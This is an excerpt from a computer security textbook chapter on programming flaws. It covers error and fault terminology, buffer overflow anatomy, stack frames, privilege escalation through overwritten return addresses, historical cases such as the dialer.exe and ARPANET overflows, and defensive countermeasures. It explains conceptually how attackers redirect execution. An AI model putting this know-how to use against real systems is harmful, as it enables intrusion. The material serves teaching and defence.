• Programming oversights: buffer overflows, off-by-one errors, incomplete mediation, time-of-check to time-of- use errors

• Malicious code: viruses, worms, Trojan horses • Developer countermeasures: program development

techniques, security principles • Ineffective countermeasures

P rograms are simple things but they can wield mighty power. Think about them for a minute: Programs are just strings of 0s and 1s, representing elementary machine commands such as move one data item, compare two data items, or

branch to a different command. Those primitive machine commands implement higher- level programming language constructs such as conditionals, repeat loops, case selec- tion, and arithmetic and string operations. And those programming language constructs give us pacemaker functions, satellite control, smart-home technology, traffic manage- ment, and digital photography, not to mention streaming video and social networks. The Intel 32- and 64-bit instruction set has about 30 basic primitives (such as move, compare, branch, increment and decrement, logical operations, arithmetic operations, trigger I/O, generate and service interrupts, push, pop, call, and return) and specialized instructions to improve performance on computations such as floating point operations or cryptography. These few machine commands are sufficient to implement the vast range of programs we know today.

Most programs are written in higher-level languages such as Java, C, C++, Perl, or Python; programmers often use libraries of code to build complex programs from pieces written by others. But most people are not programmers; instead, they use already writ- ten applications for word processing, web browsing, graphics design, accounting, and the like without knowing anything about the underlying program code. People do not expect to need to understand how power plants operate in order to turn on an electric

3 Programs and Programming

132 Chapter 3 Programs and Programming

light. But if the light does not work, the problem could be anywhere from the power plant to the light bulb, and suddenly the user needs to trace potential problems from one end to the other. Although the user does not need to become a physicist or electri- cal engineer, a general understanding of electricity helps determine how to overcome the problem, or at least how to isolate faults under the user’s control (burned out bulb, unplugged lamp).

In this chapter we describe security problems in programs and programming. As with the light, a problem can reside anywhere between the machine hardware and the user interface. Two or more problems may combine in negative ways, some problems can be intermittent or occur only when some other con- dition is present, and the impact of problems can range from annoying (perhaps not even perceptible) to catastrophic.

In Chapter 1 we introduce the notion of motive, observing that some security prob- lems result from nonmalicious oversights or blunders, but others are intentional. A mali- cious attacker can exploit a nonmalicious flaw to cause real harm. Thus, we now study several common program failings to show how simple errors during programming can lead to large-scale problems during execution. Along the way we describe real attacks that have been caused by program flaws. (We use the term flaw because many security professionals use that term or the more evocative term bug. However, as you can see in Sidebar 3-1, the language for describing program problems is not universal.)

Security failures can result from intentional or nonmalicious causes; both can cause harm.

SIDEBAR 3-1 The Terminology of (Lack of) Quality

Thanks to Admiral Grace Murray Hopper, we casually call a software prob- lem a “bug.” [KID98] But that term can mean different things depending on context: a mistake in interpreting a requirement, a syntax error in a piece of code, or the (as-yet-unknown) cause of a system crash. The Institute of Electronics and Electrical Engineers (IEEE) suggests using a standard ter- minology (in IEEE Standard 729) for describing bugs in our software prod- ucts [IEE83].

When a human makes a mistake, called an error, in performing some software activity, the error may lead to a fault, or an incorrect step, com- mand, process, or data definition in a computer program, design, or docu- mentation. For example, a designer may misunderstand a requirement and create a design that does not match the actual intent of the requirements analyst and the user. This design fault is an encoding of the error, and it can lead to other faults, such as incorrect code and an incorrect description in a user manual. Thus, a single error can generate many faults, and a fault can reside in any development or maintenance product.

A failure is a departure from the system’s required behavior. It can be discovered before or after system delivery, during testing, or during opera- tion and maintenance. Since the requirements documents can contain

Section 3.1 Unintentional (Nonmalicious) Programming Oversights 133


Programs and their computer code are the basis of computing. Without a program to guide its activity, a computer is pretty useless. Because the early days of computing offered few programs for general use, early computer users had to be programmers too—they wrote the code and then ran it to accomplish some task. Today’s computer users sometimes write their own code, but more often they buy programs off the shelf; they even buy or share code components and then modify them for their own uses. And all users gladly run programs all the time: spreadsheets, music players, word proces- sors, browsers, email handlers, games, simulators, and more. Indeed, code is initiated in myriad ways, from turning on a mobile phone to pressing “start” on a coffee-maker or microwave oven. But as the programs have become more numerous and complex, users are more frequently unable to know what the program is really doing or how.

More importantly, users seldom know whether the program they are using is produc- ing correct results. If a program stops abruptly, text disappears from a document, or music suddenly skips passages, code may not be working properly. (Sometimes these interruptions are intentional, as when a CD player skips because the disk is damaged or a medical device program stops in order to prevent an injury.) But if a spreadsheet produces a result that is off by a small amount or an automated drawing package doesn’t align objects exactly, you might not notice—or you notice but blame yourself instead of the program for the discrepancy.

These flaws, seen and unseen, can be cause for concern in several ways. As we all know, programs are written by fallible humans, and program flaws can range from insignificant to catastrophic. Despite significant testing, the flaws may appear regularly or sporadically, perhaps depending on many unknown and unanticipated conditions.

Program flaws can have two kinds of security implications: They can cause integrity problems leading to harmful output or action, and they offer an opportunity for exploita- tion by a malicious actor. We discuss each one in turn.

• A program flaw can be a fault affecting the correctness of the program’s result— that is, a fault can lead to a failure. Incorrect operation is an integrity failing. As we saw in Chapter 1, integrity is one of the three fundamental security properties

faults, a failure indicates that the system is not performing as required, even though it may be performing as specified.

Thus, a fault is an inside view of the system, as seen by the eyes of the developers, whereas a failure is an outside view: a problem that the user sees. Every failure has at least one fault as its root cause. But not every fault corresponds to a failure; for example, if faulty code is never executed or a particular state is never entered, the fault will never cause the code to fail.

Although software engineers usually pay careful attention to the dis- tinction between faults and failures, security engineers rarely do. Instead, security engineers use flaw to describe both faults and failures. In this book, we use the security terminology; we try to provide enough context so that you can understand whether we mean fault or failure.

134 Chapter 3 Programs and Programming

of the C-I-A triad. Integrity involves not only correctness but also accuracy, precision, and consistency. A faulty program can also inappropriately modify previously correct data, sometimes by overwriting or deleting the original data. Even though the flaw may not have been inserted maliciously, the outcomes of a flawed program can lead to serious harm.

• On the other hand, even a flaw from a benign cause can be exploited by some- one malicious. If an attacker learns of a flaw and can use it to manipulate the program’s behavior, a sim- ple and nonmalicious flaw can become part of a mali- cious attack.

Thus, in both ways, program correctness becomes a security issue as well as a gen- eral quality problem. In this chapter we examine several programming flaws that have security implications. We also show what activities during program design, develop- ment, and deployment can improve program security.

Buffer Overflow

We start with a particularly well known flaw, the buffer overflow. Although the basic problem is easy to describe, locating and preventing such difficulties is challenging. Furthermore, the impact of an overflow can be subtle and disproportionate to the underlying oversight. This outsized effect is due in part to the exploits that people have achieved using overflows. Indeed, a buffer overflow is often the initial toehold for mounting a more dam- aging strike. Most buffer overflows are simple programming oversights, but they can be used for malicious ends. See Sidebar 3-2 for the story of a search for a buffer overflow.

This example was not the first buffer overflow, and in the intervening time— approaching two decades—far more buffer overflows have been discovered. However, this example shows clearly the mind of an attacker. In this case, David was trying to improve security—he happened to be working for one of this book’s authors at the time—but attackers work to defeat security for reasons such as those listed in Chapter 1. We now investigate sources of buffer overflow attacks, their consequences, and some countermeasures.

Anatomy of Buffer Overflows

A string overruns its assigned space or one extra element is shoved into an array; what’s the big deal, you ask? To understand why buffer overflows are a major security issue, you need to understand how an operating system stores code and data.

As noted above, buffer overflows have existed almost as long as higher-level pro- gramming languages with arrays. Early overflows were simply a minor annoyance to

Benign flaws can be—often are— exploited for malicious impact.

Buffer overflows often come from innocent programmer oversights or failures to document and check for excessive data.

Section 3.1 Unintentional (Nonmalicious) Programming Oversights 135

programmers and users, a cause of errors and sometimes even system crashes. More recently, however, attackers have used them as vehicles to cause first a system crash and then a controlled failure with a serious security implication. The large number of security vulnerabilities based on buffer overflows shows that developers must pay more attention now to what had previously been thought to be just a minor annoyance.

SIDEBAR 3-2 My Phone Number is 5656 4545 7890 1234 2929 2929 2929 . . .

In 1999, security analyst David Litchfield [LIT99] was intrigued by buffer overflows. He had both an uncanny sense for the kind of program that would contain overflows and the patience to search for them diligently. He happened onto the Microsoft Dialer program, dialer.exe.

Dialer was a program for dialing a telephone. Before cell phones, WiFi, broadband, and DSL, computers were equipped with modems by which they could connect to the land-based telephone network; a user would dial an Internet service provider and establish a connection across a standard voice telephone line. Many people shared one line between voice and computer (data) communication. You could look up a contact’s phone number, reach for the telephone, dial the number, and converse; but the computer’s modem could dial the same line, so you could feed the number to the modem from an electronic contacts list, let the modem dial your number, and pick up the receiver when your called party answered. Thus, Microsoft provided Dialer, a simple utility program to dial a num- ber with the modem. (As of 2014, dialer.exe was still part of Windows 10, although the buffer overflow described here was patched shortly after David reported it.)

David reasoned that Dialer had to accept phone numbers of differ- ent lengths, given country variations, outgoing access codes, and remote signals (for example, to enter an extension number). But he also suspected there would be an upper limit. So he tried dialer.exe with a 20-digit phone number and everything worked fine. He tried 25 and 50, and the program still worked fine. When he tried a 100-digit phone number, the program crashed. The programmer had probably made an undocumented and untested decision that nobody would ever try to dial a 100-digit phone num- ber . . . except David.

Having found a breaking point, David then began the interesting part of his work: Crashing a program demonstrates a fault, but exploiting that flaw shows how serious the fault is. By more experimentation, David found that the number to dial was written into the stack, the data structure that stores parameters and return addresses for embedded program calls. The dialer.exe program is treated as a program call by the operating system, so by controlling what dialer.exe overwrote, David could redirect execution to continue anywhere with any instructions he wanted. The full details of his exploitation are given in [LIT99].

136 Chapter 3 Programs and Programming

Memory Allocation Memory is a limited but flexible resource; any memory location can hold any piece of code or data. To make managing computer memory efficient, operating systems jam one data element next to another, without regard for data type, size, content, or purpose.1 Users and programmers seldom know, much less have any need to know, precisely which memory location a code or data item occupies.

Computers use a pointer or register known as a program counter that indicates the next instruction. As long as program flow is sequential, hardware bumps up the value in the program counter to point just after the current instruction as part of performing that instruction. Conditional instructions such as IF(), branch instructions such as loops (WHILE, FOR) and unconditional transfers such as GOTO or CALL divert the flow of execution, causing the hardware to put a new destination address into the program counter. Changing the program counter causes execution to transfer from the bottom of a loop back to its top for another iteration. Hardware simply fetches the byte (or bytes) at the address pointed to by the program counter and executes it as an instruction.

Instructions and data are all binary strings; only the context of use says a byte, for example, 0x41 represents the letter A, the number 65, or the instruction to move the contents of register 1 to the stack pointer. If you happen to put the data string “A” in the path of execution, it will be executed as if it were an instruction. In Figure 3-1 we show a typical arrangement of the contents of memory, showing code, local data, the heap (storage for dynamically created data), and the stack (storage for subtask call and return data). As you can see, instructions move from the bottom (low addresses) of memory up; left unchecked, execution would proceed through the local data area and into the heap and stack. Of course, execution typically stays within the area assigned to program code.

Not all binary data items represent valid instructions. Some do not correspond to any defined operation, for example, operation 0x78 on a machine whose instructions are all numbers between 0x01 and 0x6f. Other invalid forms attempt to use nonexistent hard- ware features, such as a reference to register 9 on a machine with only eight hardware registers.

To help operating systems implement security, some hardware recognizes more than one mode of instruction: so-called privileged instructions that can be executed only when the processor is running in a protected mode. Trying to execute something that does not correspond to a valid instruction or trying to execute a privileged instruction when not in the proper mode will cause a program fault. When hardware generates a program fault, it stops the current thread of execution and transfers control to code that will take recovery action, such as halting the current process and returning control to the supervisor.

1. Some operating systems do separate executable code from nonexecutable data, and some hardware can provide different protection to memory addresses containing code as opposed to data. Unfortunately, however, for reasons including simple design and performance, most operating systems and hardware do not implement such separation. We ignore the few exceptions in this chapter because the security issue of buffer overflow applies even within a more constrained system. Designers and programmers need to be aware of buffer overflows, because a program designed for use in one environment is sometimes trans- ported to another less protected one.

Section 3.1 Unintentional (Nonmalicious) Programming Oversights 137

Code and Data Before we can explain the real impact of buffer overflows, we need to clarify one point: Code, data, instructions, the operating system, complex data structures, user programs, strings, downloaded utility routines, hexadecimal data, decimal data, character strings, code libraries, photos, and everything else in memory are just strings of 0s and 1s; think of it all as bytes, each containing a number. The computer pays no attention to how the bytes were produced or where they came from. Each computer instruction deter- mines how data values are interpreted: An Add instruction implies the data item is inter- preted as a number, a Move instruction applies to any string of bits of arbitrary form, and a Jump instruction assumes the target is an instruction. But at the machine level, nothing prevents a Jump instruction from transferring into a data field or an Add command operating on an instruction, although the results may be unpleasant. Code and data are bit strings interpreted in a par- ticular way.

You do not usually try to execute data values or perform arithmetic on instructions. But if 0x1C is the operation code for a Jump instruction, and the form of a Jump instruc- tion is 1C displ, meaning execute the instruction at the address displ bytes ahead of this instruction, the string 0x1C0A is interpreted as jump forward 10 bytes. But, as shown in Figure 3-2, that same bit pattern represents the two-byte decimal integer 7178. So storing the number 7178 in a series of instructions is the same as having programmed a Jump. Most higher-level-language programmers do not care about the representation of instructions in memory, but curious investigators can readily find the correspondence. Manufacturers publish references specifying precisely the behavior of their chips, and



Static data


High addresses

Low addresses

FIGURE 3-1 Typical Memory Organization

In memory, code is indistinguishable from data. The origin of code (respected source or attacker) is also not visible.

138 Chapter 3 Programs and Programming

utility programs such as compilers, assemblers, and disassemblers help interested pro- grammers develop and interpret machine instructions.

Usually we do not treat code as data, or vice versa; attackers sometimes do, however, especially in memory overflow attacks. The attacker’s trick is to cause data to spill over into executable code and then to select the data values such that they are interpreted as valid instructions to perform the attacker’s goal. For some attackers this is a two-step goal: First cause the overflow and then experiment with the ensuing action to cause a desired, predictable result, just as David did.

Harm from an Overflow

Let us suppose a malicious person understands the damage that can be done by a buffer overflow; that is, we are dealing with more than simply a normal, bumbling program- mer. The malicious programmer thinks deviously: What data values could I insert to cause mischief or damage, and what planned instruction codes could I force the sys- tem to execute? There are many possible answers, some of which are more malevolent than others. Here, we present two buffer overflow attacks that are used frequently. (See [ALE96] for more details.)

First, the attacker may replace code in the system space. As shown in Figure 3-3, memory organization is not as simple as shown in Figure 3-1. The operating system’s code and data coexist with a user’s code and data. The heavy line between system and user space is only to indicate a logical separation between those two areas; in practice, the distinction is not so solid.

Remember that every program is invoked by an operating system that may run with higher privileges than those of a regular program. Thus, if the attacker can gain control


Execute instruction “Jump forward 10 bytes”

Store sum � 7178


FIGURE 3-2 Bit Patterns Can Represent Data or Instructions

Section 3.1 Unintentional (Nonmalicious) Programming Oversights 139

by masquerading as the operating system, the attacker can execute commands in a pow- erful role. Therefore, by replacing a few instructions right after returning from his or her own procedure, the attacker regains control from the operating system, possibly with raised privileges. This technique is called privilege escalation. If the buffer overflows into system code space, the attacker merely inserts overflow data that correspond to the machine code for instructions.

In the other kind of attack, the intruder may wander into an area called the stack and heap. Subprocedure calls are handled with a stack, a data structure in which the most recent item inserted is the next one removed (last arrived, first served). This structure works well because procedure calls can be nested, with each return causing control to transfer back to the immediately preceding routine at its point of execution. Each time a procedure is called, its parameters, the return address (the address immediately after its call), and other local values are pushed onto a stack. An old stack pointer is also pushed onto the stack, and a stack pointer register is reloaded with the address of these new values. Control is then transferred to the subprocedure.

As the subprocedure executes, it fetches parameters that it finds by using the address pointed to by the stack pointer. Typically, the stack pointer is a register in the proces- sor. Therefore, by causing an overflow into the stack, the attacker can change either the old stack pointer (changing the context for the calling procedure) or the return address (causing control to transfer where the attacker intends when the subprocedure returns). Changing the context or return address allows the attacker to redirect execution to code written by the attacker.

In both these cases, the assailant must experiment a little to determine where the overflow is and how to control it. But the work to be done is relatively small—probably a day or two for a competent analyst. These buffer overflows are carefully explained in a paper by Mudge [MUD95] (real name, Pieter Zatko) of the famed l0pht computer

FIGURE 3-3 Memory Organization with User and System Areas

System Data

Program Code

Local Data

System Code

High addresses

Low addresses



140 Chapter 3 Programs and Programming

security group. Pincus and Baker [PIN04] reviewed buffer overflows ten years after Mudge and found that, far from being a minor aspect of attack, buffer overflows had been a significant attack vector and had spawned several other new attack types. That pattern continues today.

An alternative style of buffer overflow occurs when parameter values are passed into a routine, especially when the parameters are passed to a web server on the Internet. Parameters are passed in the URL line, with a syntax similar to parm1=(808)555-1212

In this example, the application script userinput receives one parameter, parm1 with value (808)555-1212 (perhaps a U.S. telephone number). The web browser on the call- er’s machine will accept values from a user who probably completes fields on a form. The browser encodes those values and transmits them back to the server’s web site.

The attacker might question what the server would do with a really long telephone number, say, one with 500 or 1000 digits. This is precisely the question David asked in the example we described in Sidebar 3-2. Passing a very long string to a web server is a slight variation on the classic buffer overflow, but no less effective.

Overwriting Memory

Now think about a buffer overflow. If you write an element past the end of an array or you store an 11-byte string in a 10-byte area, that extra data has to go somewhere; often it goes immediately after the last assigned space for the data.

A buffer (or array or string) is a space in which data can be held. A buffer resides in memory. Because memory is finite, a buffer’s capacity is finite. For this reason, in many programming languages the programmer must declare the buffer’s maximum size so that the compiler can set aside that amount of space.

Let us look at an example to see how buffer overflows can happen. Suppose a C lan- guage program contains the declaration

char sample[10];

The compiler sets aside 10 bytes to store this buffer, one byte for each of the 10 ele- ments of the array, denoted sample[0] through sample[9]. Now we execute the statement

sample[10] = 'B';

The subscript is out of bounds (that is, it does not fall between 0 and 9), so we have a problem. The nicest outcome (from a security perspective) is for the compiler to detect the problem and mark the error during compilation, which the compiler could do in this case. However, if the statement were

sample[i] = 'B';

then the compiler could not identify the problem until i was set during execution either to a proper value (between 0 and 9) or to an out-of-bounds subscript (less than 0 or greater than 9). It would be useful if, during execution, the system produced an error message warning of a subscript exception. Unfortunately, in some languages, buffer

Section 3.1 Unintentional (Nonmalicious) Programming Oversights 141

sizes do not have to be predefined, so there is no way to detect an out-of-bounds error. More importantly, the code needed to check each subscript against its potential maxi- mum value takes time and space during execution, and resources are applied to catch a problem that occurs relatively infrequently. Even if the compiler were careful in analyz- ing the buffer declaration and use, this same problem can be caused with pointers, for which there is no reasonable way to define a proper limit. Thus, some compilers do not generate the code to check for exceeding bounds.

Implications of Overwriting Memory

Let us more closely examine the problem of overwriting memory. Be sure to recog- nize that the potential overflow causes a serious problem only in some instances. The problem’s occurrence depends on what is adjacent to the array sample. For example, suppose each of the ten elements of the array sample is filled with the letter A and the erroneous reference uses the letter B, as follows:

for (i=0; i<=9; i++) sample[i] = 'A'; sample[10] = 'B'

All program and data elements are in memory during execution, sharing space with the operating system, other code, and resident routines. So four cases must be considered in deciding where the ‘B’ goes, as shown in Figure 3-4. If the extra character overflows into the user’s data space, it simply overwrites an existing variable value (or it may be written into an as-yet unused location), perhaps affecting the program’s result but affecting no other program or data.

In the second case, the ‘B’ goes into the user’s program area. If it overlays an already executed instruction (which will not be executed again), the user should perceive no effect. If it overlays an instruction that is not yet executed, the machine will try to exe- cute an instruction with operation code 0x42, the internal code for the character ‘B’. If there is no instruction with operation code 0x42, the system will halt on an illegal instruction exception. Otherwise, the machine will use subsequent bytes as if they were the rest of the instruction, with success or failure depending on the meaning of the con- tents. Again, only the user is likely to experience an effect.

The most interesting cases (from a security perspective) occur when the system owns the space immediately after the array that overflows. Spilling over into system data or code areas produces results similar to those for the user’s space: computing with a faulty value or trying to execute an operation.

Program procedures use both local data, data used strictly within one procedure, and shared or common or global data, which are shared between two or more procedures. Memory organization can be complicated, but we simplify the layout as in Figure 3-5. In that picture, local data are stored adjacent to the code of a procedure. Thus, as you can see, a data overflow either falls strictly within a data space or it spills over into an adjacent code area. The data end up on top of one of

• another piece of your data

• an instruction of yours

142 Chapter 3 Programs and Programming

Memory A A A A A A A A A A B

User’s Data

(a) Affects user’s data

Memory A A A A A A A A A A B

User’s Data User’s Program Code

(b) Affects user’s code


User’s Data


System Data

(c) Affects system data

Memory A A A A A A A A A B

User’s Data System Program Code

(d) Affects system code


FIGURE 3-4 One-Character Overflow

User 1’s code &


User 2’s code &


Operating system’s code &


Proc M

Proc M data

Proc A

Proc A data

Proc B

Proc B data

FIGURE 3-5 Memory of Different Procedures for Different Users

Section 3.1 Unintentional (Nonmalicious) Programming Oversights 143

• data or code belonging to another program

• data or code belonging to the operating system

We consider each of these cases separately.

Affecting Your Own Data Modifying your own data, especially with an unintended value, will obviously affect your computing. Perhaps a loop will repeat too many or too few times, a sum will be compromised, or a date will become garbled. You can imagine these possibilities for yourself. The error may be so egregious that you will easily recognize something is wrong, but a more subtle failure may escape your notice, perhaps forever.

From a security standpoint, few system controls protect you from this kind of error: You own your data space and anything you want to store there is your business. Some, but not all, programming languages generate checking code for things like arrays to ensure that you store elements only within the space allocated. For this reason, the defensive programming technique (discussed later in this chapter) recommends that you always check to ensure that array elements and strings are within their boundaries. As Sidebar 3-3 demonstrates, sometimes such an error lies dormant for a long time.

Affecting an Instruction of Yours Again, the failure of one of your instructions affects you, and systems give wide latitude to what you can do to yourself. If you store a string that does not represent a valid or permitted instruction, your program may generate a fault and halt, returning control to

SIDEBAR 3-3 Too Many Computers

The ARPANET, precursor to today’s Internet, began operation in 1969. Ste- phen Crocker and Mary Bernstein [CRO89] exhaustively studied the root causes of 17 catastrophic failures of the ARPANET, failures that brought down the entire network or a significant portion of it.

As you might expect, many of these failures occurred during the early 1970s as use of the network caused flaws to surface. The final one of their 17 causes appeared only in 1988, nearly 20 years after the inception of the network. This disruption was caused by an overflow.

The original ARPANET network comprised hosts that connected to specialized communications processors called IMPs. Each interface message processor (IMP) controlled an individual subnetwork, much like today’s routers; the IMPs connected to other IMPs through dedicated com- munications lines. For reliability, each IMP had at least two distinct paths to each other IMP. The IMP connections were added to a table dynamically as communication between two IMPs was required by network traffic.

In 1988, one subnetwork added a connection to a 348th IMP. The table for IMP connections had been hard-coded in 1969 to only 347 entries, which seemed wildly excessive at the time, and in the intervening years


144 Chapter 3 Programs and Programming

the operating system. However, the system will try to execute a string that accidentally does represent a valid instruction, with effects depending on the actual value. Again, depending on the nature of the error, this faulty instruction may have no effect (if it is not in the path of execution or in a section that has already been executed), a null effect (if it happens not to affect code or data, such as an instruction to move the contents of register 1 to itself), or an unnoticed or readily noticed effect.

Destroying your own code or data is unpleasant, but at least you can say the harm was your own fault. Unless, of course, it wasn’t your fault. One early flaw in Micro- soft’s Outlook involved the simple date field: A date is a few bytes long to represent a day, month, year, and time in GMT (Greenwich Mean Time) format. In a former version of Outlook, a message with a date of more than 1000 bytes exceeded the buffer space for message headers and ran into reserved space. Simply downloading such a message from a mail server would cause your system to crash, and each time you tried to restart, Outlook would try to reload the same message and crash again. In this case, you suf- fered harm from a buffer overflow involving only your memory area.

One program can accidentally modify code or data of another procedure that will not be executed until much later, so the delayed impact can be almost as difficult to diagnose as if the attack came from an unrelated, independent user. The most significant impact of a buffer overflow occurs when the excess data affect the operating system’s code or data.

Modification of code and data for one user or another is significant, but it is not a major computer security issue. However, as we show in the next section, buffer over- flows perpetrated on the operating system can have serious consequences.

people had forgotten that table size if, indeed, it had ever been publicized. (In 1967, 347 IMPs was far more than the designers ever envisioned the network would have.) Software handling the IMP’s table detected this over- flow but handled it by causing the IMP to reboot; upon rebooting, the IMP’s table was cleared and would be repopulated as it discovered other reach- able subnetworks. Apparently the authors of that software assumed such a table overflow would be a sporadic mistake from another cause, so clear- ing and rebooting would rid the table of the faulty data. Because the fault was due to a real situation, in 1989 the refreshed IMP ran for a while until its table refilled and then it failed and rebooted again.

It took some time to determine the source and remedy of this flaw, because twenty years had passed between coding and failing; everybody associated with the original design or implementation had moved on to other projects.

As this example shows, buffer overflows—like other program faults— can remain unexploited and undetected for some time, but they are still present.

SIDEBAR 3-3 Continued

Section 3.1 Unintentional (Nonmalicious) Programming Oversights 145

Affecting the Operating System or a Critical Application The same basic scenarios occur for operating system code or data as for users, although again there are important variations. Exploring these differences also leads us to con- sider motive, and so we shift from thinking of what are essentially accidents to inten- tional malicious acts by an attacker.

Because the mix of programs changes continually on a computing system, there is little opportunity to affect any one particular use. We now consider the case in which an attacker who has already overtaken an ordinary user now wants to overtake the oper- ating system. Such an attack can let the attacker plant permanent code that is reacti- vated each time a machine is restarted, for example. Or the attack may expose data, for example, passwords or cryptographic keys that the operating system is entrusted to safeguard. So now let us consider the impact a (compromised) user can have on the operating system.

Users’ code and data are placed essentially at random: wherever there is free memory of an appropriate size. Only by tracing through system memory allocation tables can you learn where your program and data appear in memory. However, certain portions of the operating system are placed at particular fixed locations, and other data are located at places that can easily be determined during execution. Fixed or easily determined location distinguishes operating system routines, especially the most critical ones, from a user’s code and data.

A second distinction between ordinary users and the operating system is that a user runs without operating system privileges. The operating system invokes a user’s program as if it were a subprocedure, and the operating system receives control back when the user’s program exits. If the user can alter what the operating system does when it regains control, the user can force the operating system to execute code the user wants to run, but with elevated privileges (those of the operating system). Being able to modify operating system code or data allows the user (that is, an attacker acting as the user) to obtain effective privileged status.

The call and return sequence operates under a well-defined protocol using a data structure called the stack. Aleph One (Elias Levy) describes how to use buffer overflows to overwrite the call stack [ALE96]. In the next section we show how a programmer can use an overflow to compromise a computer’s operation.

The Stack and the Heap

The stack is a key data structure necessary for interchange of data between procedures, as we described earlier in this chapter. Executable code resides at one end of memory, which we depict as the low end; above it are constants and data items whose size is known at compile time; above that is the heap for data items whose size can change dur- ing execution; and finally, the stack. Actually, as shown earlier in Figure 3-1, the heap and stack are at opposite ends of the memory left over after code and local data.

When procedure A calls procedure B, A pushes onto the stack its return address (that is, the current value of the program counter), the address at which execution should

Privilege escalation, executing attack code with higher system permissions, is a bonus for the attacker.

146 Chapter 3 Programs and Programming

resume when B exits, as well as calling parameter values. Such a sequence is shown in Figure 3-6.





Prog Ctr

Direction of growth

FIGURE 3-6 Parameters and Return Address

To help unwind stack data tangled because of a program that fails during execution, the stack also contains the pointer to the logical bottom of this program’s section of the stack, that is, to the point just before where this procedure pushed values onto the stack. This data group of parameters, return address, and stack pointer is called a stack frame, as shown in Figure 3-7.





Prog Ctr

Stack Ptr

Direction of growth

FIGURE 3-7 A Stack Frame

When one procedure calls another, the stack frame is pushed onto the stack to allow the two procedures to exchange data and transfer control; an example of the stack after procedure A calls B is shown in Figure 3-8.

FIGURE 3-8 The Stack after a Procedure Call


P3Procedure A P2


Prog Ctr

Stack Ptr

call B

Procedure B

Now let us consider a slightly deeper example: Suppose procedure A calls B that in turn calls C. After these two calls the stack will look as shown in Figure 3-7, with the return address to A on the bottom, then parameters from A to B, the return address from

Section 3.1 Unintentional (Nonmalicious) Programming Oversights 147

C to B, and parameters from B to C, in that order. After procedure C returns to B, the second stack frame is popped off the stack and it looks again like Figure 3-9.

The important thing to notice in these figures is the program counter: If the attacker can overwrite the program counter, doing so will redirect program exe- cution after the procedure returns, and that redirection is, in fact, a frequently seen step in exploiting a buffer overflow.

Refer again to Figure 3-1 and notice that the stack is at the top of memory, grow- ing downward, and something else, called the heap, is at the bottom growing up. As you have just seen, the stack is mainly used for nested calls to procedures. The heap provides space for dynamic data, that is, data items whose size is not known when a program is compiled.

If you declare an array of ten elements in the source code of a routine, the compiler allocates enough space for those ten elements, as well as space for constants and indi- vidual variables. But suppose you are writing a general-purpose sort routine that works on any data, for example, tables with arbitrarily many rows and columns of any kind of data. You might process an array of 100 integers, a table of 20,000 telephone numbers, or a structure of 2,000 bibliographic references with names, titles, and sources. Even if the table itself is passed as a parameter so that you do not need space to store it within your program, you will need some temporary space, for example, for variables to hold the values of two rows as you compare them and perhaps exchange their positions. Because you cannot know when you write your code how large a row will be, modern programming languages let you defer declaring the size of these variables until the program executes. During execution, code inserted by the compiler into your program determines the sizes and asks the operating system to allocate dynamic memory, which the operating system gets from the heap. The heap grows and shrinks as memory is allocated and freed for dynamic data structures.

FIGURE 3-9 The Stack after Nested Procedure Calls


P3Procedure A P2


Prog Ctr

Stack Ptr



Prog Ctr

Stack Ptr

call B

call C

Procedure C

Procedure B

Overflow into system space can redirect execution immediately or on exit from the current called procedure.

148 Chapter 3 Programs and Programming

As you can see in Figure 3-1, the stack and heap grow toward each other, and you can predict that at some point they might collide. Ordinarily, the operating system monitors their sizes and prevents such a collision, except that the operating system cannot know that you will write 15,000 bytes into a dynamic heap space for which you requested only 15 bytes, or 8 bytes into a 4-byte parameter, or four return parameter values into three parameter spaces.

The attacker wants to overwrite stack memory, sometimes called stack smashing, in a purposeful manner: Arbitrary data in the wrong place causes strange behavior, but particular data in a predictable location causes a planned impact. Here are some ways the attacker can produce effects from an overflow attack:

• Overwrite the program counter stored in the stack so that when this routine exits, control transfers to the address pointed at by the modified program coun- ter address.

• Overwrite part of the code in low memory, substituting the attacker’s instruc- tions for previous program statements.

• Overwrite the program counter and data in the stack so that the program coun- ter now points into the stack, causing the data overwritten into the stack to be executed.

The common feature of these attack methods is that the attacker uses overflow data as code the victim will execute. Because this code runs under the authority of the vic- tim, it carries the victim’s privileges, and it can destroy the victim’s data by overwriting it or can perform any actions the victim could, for example, sending email as if from the victim. If the overflow occurs during a system call, that is, when the system is running with elevated privileges, the attacker’s code also executes with those privileges; thus, an attack that transfers control to the attacker by invoking one of the attacker’s routines activates the attacker’s code and leaves the attacker in control with privileges. And for many attackers the goal is not simply to destroy data by overwriting memory but also to gain control of the system as a first step in a more complex and empowering attack.

Buffer overflow attacks are interesting because they are the first example of a class of problems called data driven attacks. In a data driven attack the harm occurs by the data the attacker sends. Think of such an attack this way: A buffer overflows when someone stuffs too much into it. Most people accidentally put one more element in an array or append an additional character into a string. The data inserted relate to the application being computed. However, with a malicious buffer overflow the attacker, like David the nonmalicious researcher, care- fully chooses data that will cause specific action, to make the program fail in a planned way. In this way, the selected data drive the impact of the attack.

Malicious exploitation of buffer overflows also exhibit one more important character- istic: They are examples of a multistep approach. Not only does the attacker overrun allo- cated space, but the attacker also uses the overrun to execute instructions to achieve the next step in the attack. The overflow is not a goal but a stepping stone to a larger purpose.

Data driven attacks are directed by specially chosen data the attacker feeds a program as input.

Section 3.1 Unintentional (Nonmalicious) Programming Oversights 149

Buffer overflows can occur with many kinds of data, ranging from arrays to param- eters to individual data items, and although some of them are easy to prevent (such as checking an array’s dimension before storing), others are not so easy. Human mistakes will never be eliminated, which means overflow conditions are likely to remain. In the next section we present a selection of controls that can detect and block various kinds of overflow faults.

Overflow Countermeasures

It would seem as if the countermeasure for a buffer overflow is simple: Check before you write. Unfortunately, that is not quite so easy because some buffer overflow situ- ations are not directly under the programmer’s control, and an overflow can occur in several ways.

Although buffer overflows are easy to program, no single countermeasure will pre- vent them. However, because of the prevalence and seriousness of overflows, several kinds of protection have evolved.

The most obvious countermeasure to overwriting memory is to stay within bounds. Maintaining boundaries is a shared responsibility of the programmer, operating system, compiler, and hardware. All should do the following:

• Check lengths before writing.

• Confirm that array subscripts are within limits.

• Double-check boundary condition code to catch possible off-by-one errors.

• Monitor input and accept only as many characters as can be handled.

• Use string utilities that transfer only a bounded amount of data.

• Check procedures that might overrun their space.

• Limit programs’ privileges, so if a piece of code is overtaken maliciously, the violator does not acquire elevated system privileges as part of the compromise.

Programming Controls Later in this chapter we study programming controls in general. You may already have encountered these principles of software engineering in other places. Techniques such as code reviews (in which people other than the programmer inspect code for implementa- tion oversights) and independent testing (in which dedicated testers hypothesize points at which a program could fail) can catch overflow situations before they become problems.

